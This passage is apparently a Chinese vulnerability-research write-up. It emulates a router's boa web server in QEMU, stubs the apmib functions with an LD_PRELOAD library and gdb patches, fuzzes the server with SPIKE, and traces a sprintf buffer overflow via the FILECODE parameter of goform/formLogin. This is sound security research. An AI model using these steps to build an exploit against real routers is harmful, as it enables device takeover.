22290 mmap(0x766a3000,2052,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0xb000) = 0x766a3000
22290 close(3) = 0
22290 munmap(0x766a4000,4096) = 0
22290 open("/lib/libc.so.0",O_RDONLY) = 3
22290 fstat(3,0x76ffeb18) = 0
22290 close(3) = 0
22290 open("/lib/libgcc_s_4181.so.1",O_RDONLY) = 3
22290 fstat(3,0x76ffeb08) = 0
22290 close(3) = 0
22290 open("/lib/libc.so.0",O_RDONLY) = 3
22290 fstat(3,0x76ffeaf8) = 0
22290 close(3) = 0
22290 open("/lib/libgcc_s_4181.so.1",O_RDONLY) = 3
22290 fstat(3,0x76ffeae8) = 0
22290 close(3) = 0
22290 open("/lib/libc.so.0",O_RDONLY) = 3
22290 fstat(3,0x76ffead8) = 0
22290 close(3) = 0
22290 stat("/lib/ld-uClibc.so.0",0x76fff5d8) = 0
22290 mprotect(0x767fd000,4096,PROT_READ) = 0
22290 ioctl(0,21517,1996486344,1996486936,0,0) = 0
22290 ioctl(1,21517,1996486344,1996486473,0,0) = 0
22290 umask(077) = 18
22290 time(5145316,1996486756,1996486764,0,0,0) = 1614137173
22290 brk(NULL) = 0x004ed000
22290 brk(0x004ee000) = 0x004ee000
22290 brk(0x004ef000) = 0x004ef000
22290 open("/dev/mtd",O_RDWR) = -1 errno=2 (No such file or directory)
22290 write(1,0x7671a830,26)Initialize AP MIB failed!
 = 26
22290 time(0,1,26,0,0,0) = 1614137173
22290 open("/etc/TZ",O_RDONLY) = -1 errno=2 (No such file or directory)
22290 open("/dev/null",O_RDONLY) = -1 errno=2 (No such file or directory)
22290 dup2(-1,0,0,1,0,0) = -1 errno=9 (Bad file descriptor)
22290 close(-1) = -1 errno=9 (Bad file descriptor)
22290 chdir("/etc/boa") = 0
22290 getuid(5170000,4781257,1,0,0,0) = 0
22290 open("boa.conf",O_RDONLY) = 3
22290 ioctl(3,21517,1996485040,0,0,0) = -1 errno=25 (Inappropriate ioctl for device)
22290 brk(0x004f0000) = 0x004f0000
22290 getuid(1996485208,1,1987151188,5170096,0,0) = 0
22290 read(3,0x4ee3b8,4096) = 4096
22290 open("/etc/passwd",O_RDONLY) = 4
22290 ioctl(4,21517,1996484888,0,0,0) = -1 errno=25 (Inappropriate ioctl for device)
22290 brk(0x004f1000) = 0x004f1000
22290 read(4,0x4ef418,4096) = 64
22290 close(4) = 0
22290 read(3,0x4ee3b8,4096) = 3863
22290 open("/etc/boa/mime.types",O_RDONLY) = 4
22290 ioctl(4,21517,1996484736,0,0,0) = -1 errno=25 (Inappropriate ioctl for device)
22290 read(4,0x4ef490,4096) = 4096
22290 read(4,0x4ef490,4096) = 4096
22290 read(4,0x4ef490,4096) = 4096
22290 read(4,0x4ef490,4096) = 886
22290 read(4,0x4ef490,4096) = 0
22290 close(4) = 0
22290 read(3,0x4ee3b8,4096) = 0
22290 close(3) = 0
22290 getrlimit(5,1996486424,4194304,4782669,0,0) = 0
22290 socket(2,2,6,0,0,0) = 3
22290 fcntl(3,F_SETFL,O_RDONLY|O_NONBLOCK) = 0
22290 fcntl(3,F_SETFD,1) = 0
22290 setsockopt(3,65535,4,5136644,4,0) = 0
22290 bind(3,1996486424,16,1996486440,0,0) = 0
22290 listen(3,250,16,0,0,0) = 0
22290 open("/etc/alpha_config/buildver",O_RDONLY) = 4
22290 ioctl(4,21517,1996486152,0,0,0) = -1 errno=25 (Inappropriate ioctl for device)
22290 read(4,0x4ee360,4096) = 5
22290 close(4) = 0
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    22289 segmentation fault (core dumped)  sudo chroot . ./qemu -strace ./bin/boa

所以我们要劫持apmib_init()函数

劫持程序apmib.c

#include<stdio.h>
#include<stdlib.h>
int apmib_init(void)
{
        return 1;
}

编译为动态链接库

mips-linux-gnu-gcc -Wall -fPIC -shared apmib.c -o apmib-ld.so

将apmib-ld.so复制到路由器文件系统根目录下,并将/usr/mipsel-linux-gnu/lib/目录下一些依赖的库拷贝到路由器文件系统/lib目录下,运行启洞/bin/boa程序,出错,在运行boa程序之前就出了问题退出(这里怀疑还是用gnu的gcc编译造成的问题)

$ sudo chroot . ./qemu -E LD_PRELOAD="/apmib-ld.so" ./bin/boa

./bin/boa: can't handle reloc type 0x2f

这里不用劫持动态库的方法,而是在对程序进行动态调试过程中在boa程序的apmib_init()函数下面跳转的位置0x418268下断点,直接在gdb中修改函数返回结果,绕过这个报错。

$ sudo chroot . ./qemu -strace -g 1234 ./bin/boa
(gdb) b *0x418268
(gdb) c
(gdb) x/10i $pc
=> 0x418268:    bnez    v0,0x418290
   0x41826c:    nop
   0x418270:    lw      a0,-32724(gp)
   0x418274:    lw      t9,-30396(gp)
   0x418278:    nop
   0x41827c:    jalr    t9
   0x418280:    addiu   a0,a0,11056
   0x418284:    lw      gp,16(sp)
   0x418288:    b       0x4184f4
   0x41828c:    nop
(gdb) set $v0=1
(gdb) c

不会再报错Initialize AP MIB failed!,但是之后程序依然发生了崩溃。经过分析,这里的Create chklist file error!对启动服务没什么影响。

$ sudo chroot . ./qemu -g 1234 ./bin/boa
Create chklist file error!
Create chklist file error!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    23372 segmentation fault (core dumped)  sudo chroot . ./qemu -g 1234 ./bin/boa

通过gdb调试发现在0x4182f8处调用函数apmib_get后发生了程序崩溃,所以这里需要对apmib_get函数和fork函数进行劫持,修改apmib.c

#include<stdio.h>
#include<stdlib.h>
#define MIB_IP_ADDR 170
#define MIB_HW_VER 0x250
#define MIB_CAPTCHA 0x2C1
int apmib_init(void)
{
        return 1;
}
int fork(void)
{
        return 0;
}
void apmib_get(int code, int *value)
{
        switch(code)
        {
                case MIB_HW_VER:
                        *value = 0xF1;
                        break;
                case MIB_IP_ADDR:
                        *value = 0x7F000001;
                        break;
                case MIB_CAPTCHA:
                        *value = 1;
                        break;
        }
        return;
}

由于之前尝试过使用mips-linux-gnu-gcc编译动态链接库会出问题,需要花时间编译一个mips大端的工具链,这部分修复不再花费太多时间(后面使用下载的鄙别人编译的mips-gcc编译成功,并成功劫持)。

下面只是简单阐述一下用SPIKE进行模糊测试的步骤。

  • 分析数据包中模糊测试输入点
  • 编写SPIKE模糊测试脚本boa.apk
  • 再目标MIPS系统中启动boa程序并使用GDB附加程序
  • 使用tcpdump或者wireshark进行抓包监听
  • 开始模糊测试
generic_send_tcp xxx.xxx.xxx.xxx {port} boa.spk 0 0
  • 等待SPIKE模糊测试结束或者gdb捕获boa异常

这里gdb捕获到一个boa服务崩溃,一个段错误,停止SPIKE,分析这个奔溃点,这里存在一个溢出漏洞,源于没有对用户发到goform/formLogin的FILECODE进行验证,再websGetVal函数获取参数值之后没有校验值的长度和内容,再getAuthCode函数使用不安全函数sprintf格式化参数FILECODE的值时也没有对长度进行校验,造成缓冲区溢出。